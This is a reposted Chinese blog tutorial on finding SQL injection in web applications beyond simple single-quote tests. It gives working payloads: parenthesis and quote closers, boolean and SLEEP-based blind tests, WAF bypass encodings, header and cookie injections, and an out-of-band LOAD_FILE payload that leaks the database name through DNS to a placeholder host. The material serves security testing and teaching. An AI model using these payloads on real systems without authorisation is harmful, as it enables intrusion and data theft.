文章总结: 本文通过作者亲身经历揭示SQL注入的本质是破坏查询结构而非依赖单引号测试。核心观点包括:需根据查询类型(数值型、字符型、括号包裹等)采用数学表达式、引号家族、括号闭合等差异化攻击手法;强调通过布尔盲注、时间盲注、OOB外带等技术确认漏洞,并列出WAF绕过技巧及GET/POST/HTTP头等全路径测试点。建议安全人员摆脱单一引号测试思维,建立系统化测试清单。 综合评分: 85 文章分类: WEB安全,渗透测试,漏洞分析,安全工具,实战经验
如何不再纠结单引号,并真正打破 SQL 语法(SQL 注入)
haidragon haidragon
安全狗的自我修养
2026年4月13日 16:06 湖南
在小说阅读器读本章
去阅读
官网:http://securitytech.cc
#
#
那一天我意识到:' 根本不够
我在测试一个接口。
发了一个单引号 → 200 OK
再发一个 → 200 OK
没有报错,没有变化。
我就放弃了。
几天后,另一个漏洞猎人在同一个接口上提交了一个严重的 SQL 注入漏洞:
) OR1=1--
那一刻我才明白:
👉 我只带了一颗子弹,而他带了一整弹夹。
错误的思维(大多数新手都会犯)
“发个
'→ 有报错 → SQL注入 没报错 → 没漏洞”
这就像你只用“推门”来判断门有没有锁。
👉 那如果门是要拉的呢? 👉 或者根本没有门,是窗户呢?
关键理解
👉 SQL 注入不是关于引号,而是关于破坏查询结构
一旦你理解了开发者写的 SQL 长什么样:
👉 你就知道该怎么“破坏它”
黄金法则(记住这一句)
👉 破坏语法结构,而不是只依赖引号
举例
开发者写:
WHERE id = $input
👉 ' 没用
但:
5-2
👉 就能改变逻辑
再比如:
WHERE username ='$input'
👉 ' 可以破坏
再比如:
WHERE id = ($input)
👉 你需要先闭合:
)
👉 结论:查询结构决定攻击方式
我的实际测试流程
我现在不再从 ' 开始
1️⃣ 先试“数学表达式”
如果参数是数字:
?id=123
测试:
?id=123-0
?id=123-1
👉 结果一样 → 可能没问题 👉 结果不同 → 数值型 SQL 注入
2️⃣ 引号家族
如果数学没用,试:
'
"
`
-
'→ 常见
-
"→ Oracle等
-
`→ MySQL(少见)
3️⃣ 括号(隐藏神器)
很多查询是:
WHERE id = ('$input')
👉 单引号可能被吞掉
试:
') OR 1=1 --
👉 直接突破
4️⃣ 反斜杠(容易被忽略)
有些开发会转义:
' → \'
但你输入:
\'
👉 会变成:
\\' → \' → 引号重新生效
5️⃣ 百分号(LIKE 查询)
如果是搜索功能:
WHERE name LIKE'%$input%'
测试:
%
a%
👉 返回更多数据 → 信息泄露
“200 OK”的陷阱
很多人会被骗:
发送 ' → 返回 200 OK
👉 就以为没有漏洞 ❌
实际可能是:
- WAF 过滤了
- 错误被隐藏
- 是盲注(没有明显反馈)
如何确认(关键)
1️⃣ 布尔盲注
?id=1AND1=1
?id=1AND1=2
👉 比较结果:
- 内容不同
- 长度不同
👉 就是 SQL 注入
2️⃣ 时间盲注
?id=1AND SLEEP(5)
👉 响应变慢 → 存在漏洞
3️⃣ OOB(外带)
如果 WAF 很强:
' AND LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.your.com\\a')) --
👉 如果你的 DNS 收到请求 → 确认漏洞
WAF 绕过技巧
大小写混淆
SeLeCt
UnIoN
双重 URL 编码
' → %2527
重查询(无 sleep)
SELECTCOUNT(*) FROM information_schema.tables t1, t2
👉 利用计算耗时
OOB(最强)
👉 不依赖 sleep / union
不同 SQL 语句,不同打法
SELECT(最简单)
👉 可直接回显数据
INSERT(隐蔽)
👉 可以:
- 制造错误
- 二次注入
UPDATE(盲注)
email = test' AND SLEEP(5) --
DELETE(危险)
👉 用 OOB,不要真删数据
注入点不止 URL 参数
你应该测试:
1️⃣ GET 参数
?username=abc'--
2️⃣ POST 参数
value'--
3️⃣ HTTP 头
X-Forwarded-For: 127.0.0.1' AND SLEEP(100)--
4️⃣ URL 路径
/user/123' AND SLEEP(5)--
5️⃣ 所有输入框
- 搜索
- 评论
- 表单
6️⃣ Cookie
session=abc' AND SLEEP(5)--
SQL 注入类型总结
- 错误型 → 直接报错
- 布尔盲注 → 内容变化
- 时间盲注 → 延迟
- OOB → DNS/HTTP 回连
👉 每种都要用不同方法测试
我的检查清单
在判断“无漏洞”之前,我会确认:
- 是否测试了数值运算?
- 是否试过
' ") `? - 是否测试了
AND 1=1 / 1=2? - 是否尝试时间延迟?
- 是否测试 JSON/XML?
👉 这些都试过才放弃
最后的建议
👉 不要把 SQL 注入当成“引号游戏”
👉 要像开发者一样思考:
- SQL 是怎么写的?
- 怎么破坏它?
核心一句话
👉 ' 只是键盘上的一个键
👉 你还有很多武器
👉 用它们
👉 到处测试
👉 破坏语法
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《如何不再纠结单引号,并真正打破 SQL 语法(SQL 注入)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论